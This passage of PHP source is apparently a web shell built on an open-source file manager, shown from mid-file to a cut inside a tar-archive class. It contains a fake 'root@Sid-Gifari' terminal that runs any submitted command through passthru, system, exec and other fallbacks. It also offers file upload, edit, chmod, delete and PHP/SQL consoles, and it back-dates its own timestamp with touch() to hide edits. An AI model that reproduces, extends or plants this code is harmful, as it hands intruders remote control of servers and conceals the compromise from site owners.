<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
